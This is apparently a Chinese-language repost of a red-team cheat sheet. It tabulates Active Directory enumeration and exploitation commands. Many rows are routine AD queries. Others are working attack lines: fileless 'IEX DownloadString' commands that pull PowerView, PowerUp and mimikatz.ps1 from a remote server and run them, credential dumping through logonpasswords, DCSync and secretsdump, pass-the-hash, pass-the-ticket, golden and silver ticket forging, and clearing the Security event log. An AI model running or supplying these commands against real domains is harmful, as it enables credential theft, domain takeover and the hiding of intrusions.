LOLAD 和 AD 漏洞利用-🔰雨苁ℒ🔰

利用无文件攻击、LOTL 命令和功能

LOLAD和 Exploitation项目提供了全面的 Active Directory 技术、命令和功能集合,可用于本地支持攻击性安全操作和红队演习。这些技术利用 AD 的内置工具进行侦察、特权升级和横向移动等策略。了解这些方法有助于防御者加强 AD 配置并提高监控能力。

Active Directory 技术和命令🔰以下命令鼠标点击即可复制🔰

下表列出了一些常见的 AD 技术以及每种技术的命令和脚本。您可以根据需要继续添加条目。

技术/命令名称 命令 类型 参考
收集域 SID Get-ADDomain | Select-Object SID PowerShell Microsoft 文档
列出域控制器 nltest /dclist:domain CMD Microsoft 文档
枚举域组 Get-ADGroup -Filter * | Select-Object Name PowerShell Microsoft 文档
检查 AD 复制状态 repadmin /replsummary CMD Microsoft 文档
枚举域用户 Get-ADUser -Filter * | Select-Object Name, SamAccountName PowerShell AD 漏洞利用速查表
获取域密码策略 Get-ADDefaultDomainPasswordPolicy PowerShell PowerShell 红队
识别域管理员成员 Get-ADGroupMember -Identity "Domain Admins" PowerShell Microsoft 文档
检查 Kerberos 票证政策 Get-ADDefaultDomainPasswordPolicy | Select-Object -ExpandProperty KerberosTicketPolicy PowerShell AD 漏洞利用速查表
列出所有组织单位 (OU) Get-ADOrganizationalUnit -Filter * PowerShell Microsoft 文档
识别具有委派权限的用户 Get-ADUser -Filter {TrustedForDelegation -eq $true} PowerShell PowerShell 红队
列出 AD 用户的详细信息 Get-ADUser -Filter * -Properties DisplayName, EmailAddress, LastLogonDate PowerShell Microsoft 文档
使用 SPN 识别账户(Kerberoasting) Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName PowerShell AD 漏洞利用速查表
查找管理员账户 dsquery user -name *admin* CMD HackTricks - AD 方法论
列出所有域计算机 Get-ADComputer -Filter * | Select-Object Name, OperatingSystem PowerShell 中等 - AD 枚举
检查组策略对象 (GPO) Get-GPO -All PowerShell 活动目录专业版
列出特权组 net group "Domain Admins" /domain CMD HackTheBox - AD 渗透测试指南
查找具有无约束委派的机器 Get-ADComputer -Filter {TrustedForDelegation -eq $true} PowerShell PowerShell 红队
检查用户帐户锁定状态 Get-ADUser -Filter * -Properties LockedOut | Where-Object {$_.LockedOut -eq $true} PowerShell Exploit-DB - AD 枚举指南
识别过期的密码 Search-ADAccount -PasswordExpired | Select-Object Name, PasswordExpired PowerShell 渗透测试一切-AD 枚举
查询所有域服务 nltest /dsgetdc:domain CMD 中级 - 使用 PowerShell 进行 AD 枚举
枚举受信任的域 nltest /trusted_domains CMD GitHub - AD 渗透测试
列出广告网站 Get-ADReplicationSite -Filter * PowerShell Microsoft 文档
获取域林信息 Get-ADForest PowerShell CBT Nuggets - 常见的 AD 命令
查找用户的 SID 历史记录(SID 历史记录滥用) Get-ADUser -Filter * -Properties SIDHistory | Where-Object {$_.SIDHistory} PowerShell AD 漏洞利用速查表
检查域控制器证书 certutil -dcinfo verify CMD PowerShell 红队
导入 PowerView 模块 powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://remoteserver/PowerView.ps1'); Get-NetUser" PowerShell PowerSploit-PowerView
导入 PowerUp 模块 powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://remoteserver/PowerUp.ps1'); Invoke-AllChecks" PowerShell PowerSploit-PowerUp
使用 PowerView 查找域管理员 Get-NetGroup -GroupName "Domain Admins" | Get-NetGroupMember PowerShell (PowerView) PowerSploit-PowerView
使用 PowerView 列出所有域 Get-NetDomain PowerShell (PowerView) HackTricks - AD 方法论
使用 PowerView 枚举域信任 Get-NetDomainTrust PowerShell (PowerView) 中等 - AD 枚举
使用 PowerUp 查找本地权限提升路径 Invoke-AllChecks PowerShell(PowerUp) PowerSploit-PowerUp
使用 PowerUp 识别本地管理员 Get-LocalGroupMember -Group "Administrators" PowerShell PowerSploit-PowerUp
使用 PowerView 搜索可 Kerberoast 攻击的账户 Get-NetUser -SPN | Select-Object servicePrincipalName PowerShell (PowerView) PowerSploit-PowerView
使用 PowerView 列出域计算机上的所有会话 Get-NetSession -ComputerName target-machine PowerShell (PowerView) 渗透测试一切-AD 枚举
使用 PowerView 枚举所有域计算机上的本地管理员 Invoke-EnumerateLocalAdmin -ComputerName target-machine PowerShell (PowerView) PowerSploit-PowerView
使用 PowerUp 查找弱文件权限 Invoke-CheckLocalAdminAccess PowerShell(PowerUp) PowerSploit-PowerUp
使用 PowerUp 检查可写注册表路径 Invoke-AllChecks | Select-Object WritableRegPaths PowerShell(PowerUp) PowerSploit-PowerUp
使用 SecretsDump 转储域名哈希 secretsdump.py domain/username:password@target Python(Impacket) Impacket-SecretsDump
使用 PowerView 检查域策略 Get-DomainPolicy PowerShell (PowerView) PowerSploit-PowerView
使用 PowerView 识别有趣的 ACL Find-InterestingDomainAcl PowerShell (PowerView) PowerSploit-PowerView
枚举域用户 (LDAP) dsquery user -name * CMD 活动目录专业版
获取域名信息 Get-ADDomain PowerShell Microsoft 文档
枚举域林 Get-ADForest PowerShell Microsoft 文档
列出域中的所有用户 net user /domain CMD 活动目录专业版
获取域功能级别 Get-ADDomain | Select-Object DomainMode PowerShell HackTricks - AD 方法论
列出域组 Get-ADGroup -Filter * | Select-Object Name PowerShell 中等 - AD 枚举
查询域中的域控制器 nltest /dclist:domain CMD Microsoft 文档
查找 DC 站点信息 nltest /dsgetsite CMD Microsoft 文档
列出域中的所有计算机 Get-ADComputer -Filter * PowerShell 活动目录专业版
获取林中的所有子网 Get-ADReplicationSubnet -Filter * PowerShell Microsoft 文档
检查 LDAP 服务器状态 nltest /dsgetdc:domain /ldaponly CMD Microsoft 文档
获取 AD DNS 区域信息 Get-DnsServerZone PowerShell Microsoft 文档
检查域组成员身份 net group "GroupName" /domain CMD CBT Nuggets - AD 命令
获取域用户上次登录时间 Get-ADUser -Filter * -Properties LastLogonDate | Select Name, LastLogonDate PowerShell 中等 - AD 枚举
列出所有服务帐户 Get-ADUser -Filter {ServicePrincipalName -ne "$null"} | Select Name, ServicePrincipalName PowerShell 渗透测试一切-AD 枚举
获取域的密码策略 Get-ADDefaultDomainPasswordPolicy PowerShell 活动目录专业版
列出域计算机上的打开文件共享 net view \\target-machine CMD Exploit-DB-AD 枚举
查找 Active Directory 站点 Get-ADReplicationSite -Filter * PowerShell Microsoft 文档
列出组织单位 (OU) Get-ADOrganizationalUnit -Filter * PowerShell Microsoft 文档
检查计算机的组策略 gpresult /r /scope computer CMD Microsoft 文档
查询域中的 DNS 服务器 Get-DnsServerResourceRecord -ZoneName "domain.local" PowerShell Microsoft 文档
枚举全局目录服务器 nltest /dsgetdc:/gc CMD Microsoft 文档
获取域密码过期策略 net accounts /domain CMD HackTheBox - AD 渗透测试指南
获取域控制器 Get-ADDomainController -Filter * PowerShell Microsoft 文档
枚举所有组织单位 (OU) Get-ADOrganizationalUnit -Filter * | Select-Object Name, DistinguishedName PowerShell Microsoft 文档
列出特定组中的用户 Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name, SamAccountName PowerShell AD 漏洞利用速查表
检查所有用户的上次登录时间 Get-ADUser -Filter * -Properties LastLogonDate | Where-Object {$_.LastLogonDate -ne $null} | Select-Object Name, LastLogonDate PowerShell 活动目录专业版
列出 Active Directory 站点 Get-ADReplicationSite -Filter * PowerShell Microsoft 文档
在计算机上查找本地管理员 net localgroup Administrators CMD Microsoft 文档
获取密码过期的域用户 Search-ADAccount -PasswordExpired | Select-Object Name, PasswordExpired PowerShell HackTheBox - AD 渗透测试指南
查询域林全局目录 nltest /gc CMD Microsoft 文档
检查域管理员帐户状态 Get-ADUser -Filter {MemberOf -RecursiveMatch 'Domain Admins'} | Select-Object Name, Enabled PowerShell 渗透测试一切-AD 枚举
列出域中的特权帐户 Get-ADUser -Filter {AdminCount -eq 1} | Select-Object Name, SamAccountName PowerShell 中等 - AD 枚举
枚举组策略对象 (GPO) Get-GPO -All | Select-Object DisplayName, GpoStatus PowerShell PowerShell 红队
识别具有不受约束委派的计算机 Get-ADComputer -Filter {TrustedForDelegation -eq $true} | Select-Object Name, DNSHostName PowerShell PowerSploit-PowerView
列出所有域组及其成员 Get-ADGroup -Filter * | ForEach-Object {Get-ADGroupMember -Identity $_.Name | Select Name, SamAccountName} PowerShell AD 漏洞利用速查表
查找域密码策略设置 net accounts /domain CMD 活动目录专业版
列出服务主体名称 (SPN) Get-ADUser -Filter {ServicePrincipalName -ne "$null"} | Select-Object Name, ServicePrincipalName PowerShell HackTricks - AD 方法论
枚举 DNS 服务器 Get-DnsServer | Select-Object Name, IPAddress PowerShell Microsoft 文档
列出特定 OU 上的委派管理员 Get-ACL "OU=TestOU,DC=domain,DC=com" | Format-List PowerShell 中等 - AD 枚举
识别过期帐户 Search-ADAccount -AccountExpired | Select-Object Name, Enabled PowerShell AD 漏洞利用速查表
检查域控制器同步状态 repadmin /showrepl CMD Microsoft 文档
查找启用了 LAPS 的计算机 Find-AdmPwdExtendedRights -Identity "OU=Workstations,DC=domain,DC=com" PowerShell Microsoft 文档
查看所有复制子网 Get-ADReplicationSubnet -Filter * PowerShell Microsoft 文档
列出具有高权限的计算机 Get-ADComputer -Filter {PrimaryGroupID -eq 512} PowerShell 中等 - AD 枚举
获取 AD 域站点和子网 Get-ADReplicationSite | Select-Object Name, SiteObjectGUID PowerShell Microsoft 文档
枚举密码策略 Get-ADFineGrainedPasswordPolicy PowerShell Microsoft 文档
查找高价值目标(例如具有 SPN 的管理员) Get-ADUser -Filter {ServicePrincipalName -ne "$null" -and MemberOf -like "*Domain Admins*"} | Select Name, ServicePrincipalName PowerShell AD 漏洞利用速查表
列出所有域组和成员计数 Get-ADGroup -Filter * | ForEach-Object {Write-Output "$($_.Name): $((Get-ADGroupMember -Identity $_.Name).Count)"} PowerShell 活动目录专业版
查找敏感账户委托 Get-ADUser -Filter {TrustedForDelegation -eq $true} | Select-Object Name, SamAccountName PowerShell HackTricks - AD 方法论
枚举域管理员 Get-ADGroupMember -Identity "Domain Admins" | Select Name, SamAccountName, ObjectClass PowerShell AD 漏洞利用速查表
检查 Kerberos 预身份验证已禁用的帐户 Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Select Name, SamAccountName PowerShell Microsoft 文档
查找计算机上的所有会话 quser /server:ComputerName CMD Quser 命令
确定用户的所有 GPO 权限 Get-GPPermission -All -User "UserName" | Select-Object DisplayName, Permission PowerShell Microsoft 文档
枚举所有林信任 Get-ADTrust -Filter * PowerShell Microsoft 文档
列出远程计算机上的开放共享 net view \\ComputerName /all CMD 网络查看命令
检查计算机是否为域控制器 if ((Get-ADComputer -Identity "ComputerName").PrimaryGroupID -eq 516) { "Domain Controller" } PowerShell Microsoft 文档
列出特定 OU 的所有成员 Get-ADUser -SearchBase "OU=Users,DC=domain,DC=com" -Filter * | Select Name, SamAccountName PowerShell 活动目录专业版
使用永不过期的密码识别管理员帐户 Get-ADUser -Filter {PasswordNeverExpires -eq $true -and AdminCount -eq 1} | Select-Object Name PowerShell HackTricks - AD 方法论
获取支持 LAPS 的计算机 Find-AdmPwdExtendedRights -Identity "OU=Computers,DC=domain,DC=com" PowerShell(LAPS) Microsoft 文档
检查 Active Directory 复制队列 repadmin /queue CMD Microsoft 文档
列出缓存中的所有 Kerberos 票证 klist CMD Klist 命令
查找密码已过期的用户 Search-ADAccount -PasswordExpired | Select-Object Name, SamAccountName PowerShell Microsoft 文档
列出域中所有已禁用的帐户 Search-ADAccount -AccountDisabled | Select-Object Name, SamAccountName PowerShell Microsoft 文档
列出特定组的权限 Get-ADGroupMember -Identity "Enterprise Admins" | Select Name, SamAccountName PowerShell Microsoft 文档
列出域控制器上的会话 qwinsta /server:DomainControllerName CMD Qwinsta 命令
检查域控制器复制状态 Get-ADReplicationPartnerMetadata -Target "DC=domain,DC=com" PowerShell Microsoft 文档
列出远程系统上的本地管理员 net localgroup Administrators /domain CMD 网络本地组命令
以管理员身份运行 Mimikatz(无文件) IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'privilege::debug sekurlsa::logonpasswords' PowerShell(无文件) Mimikatz 备忘单
从内存中转储凭证(无文件) IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'privilege::debug sekurlsa::logonpasswords' PowerShell(无文件) Mimikatz 综合指南
提取 Kerberos 票证(无文件) IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::list /export' PowerShell(无文件) ADSecurity-Mimikatz
传递哈希攻击(无文件) IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'sekurlsa::pth /user:UserName /domain:domain.local /ntlm:hash /run:powershell.exe' PowerShell(无文件) AkimboCore - Mimikatz
枚举所有注册表项 reg query HKLM CMD SS64 - 注册命令
检查自动启动程序 reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run CMD HackTricks - 注册表持久性
修改注册表项权限 reg add HKLM\Software\ExampleKey /v ExampleValue /t REG_SZ /d "ExampleData" /f CMD SS64 - Reg Add 命令
导出注册表配置单元 reg export HKLM\Software\MyKey mykey.reg CMD SS64 - 注册导出命令
强制组策略更新 gpupdate /force CMD SS64 - Gpupdate 命令
列出计算机已应用的 GPO gpresult /R /SCOPE COMPUTER CMD SS64 - Gpresult 命令
枚举链接到 OU 的所有 GPO Get-GPLink -Domain domain.local -Target "OU=ExampleOU,DC=domain,DC=local" PowerShell Microsoft 文档
列出域中的所有组策略 Get-GPO -All PowerShell Microsoft 文档
在远程计算机上查找本地管理员 net localgroup Administrators /domain CMD SS64 - Net Localgroup 命令
查看安全事件日志 Get-EventLog -LogName Security -Newest 100 PowerShell Microsoft 文档
清除安全事件日志 Clear-EventLog -LogName Security PowerShell Microsoft 文档
启用远程桌面 (RDP) reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f CMD HackTricks - 启用 RDP
金票攻击(无文件) IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21- /krbtgt: /id:500'
在会话中加载票证:
IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::ptt '
PowerShell(无文件) HackTricks-黄金票
银票攻击(无文件) IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::golden /user:UserName /domain:domain.local /sid:S-1-5-21- /target:ServerName /rc4: /service:cifs /id:500'
在会话中加载票证:
IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::ptt '
PowerShell(无文件) ADSecurity-银票
传递票证攻击(无文件) 转储内存中的 Kerberos 票证:
IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'sekurlsa::tickets'
使用特定的 Kerberos 票证:
IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::ptt '
PowerShell(无文件) Mimikatz 备忘单 - 传递票证
转储缓存域凭据(无文件) IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'sekurlsa::logonpasswords'(需要提升权限) PowerShell(无文件) Mimikatz 综合指南
使用 DCSync (无文件) 转储域凭证 IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'lsadump::dcsync /domain:domain.local /user:Administrator' PowerShell(无文件) ADSecurity——DCSync 攻击
启用远程桌面 (RDP) reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f CMD HackTricks - 启用 RDP
检查注册表项的持久性 reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run CMD SS64 - 注册命令
列出用户权限分配 Get-GPResultantSetOfPolicy -User domain\username -ReportType Html -Path C:\gporeport.html PowerShell Microsoft 文档
导出所有组策略对象 Backup-GPO -All -Path "C:\GPOBackups" PowerShell Microsoft 文档
针对本地帐户的传递哈希攻击 sekurlsa::pth /user:LocalUser /domain:localhost /ntlm: /run:powershell.exe Mimikatz HackTricks - 传递哈希值
查询 Active Directory 复制伙伴 repadmin /showrepl CMD Microsoft 文档
列出所有 Active Directory 站点 Get-ADReplicationSite -Filter * PowerShell Microsoft 文档
识别域管理员组成员 Get-ADGroupMember -Identity "Domain Admins" PowerShell Microsoft 文档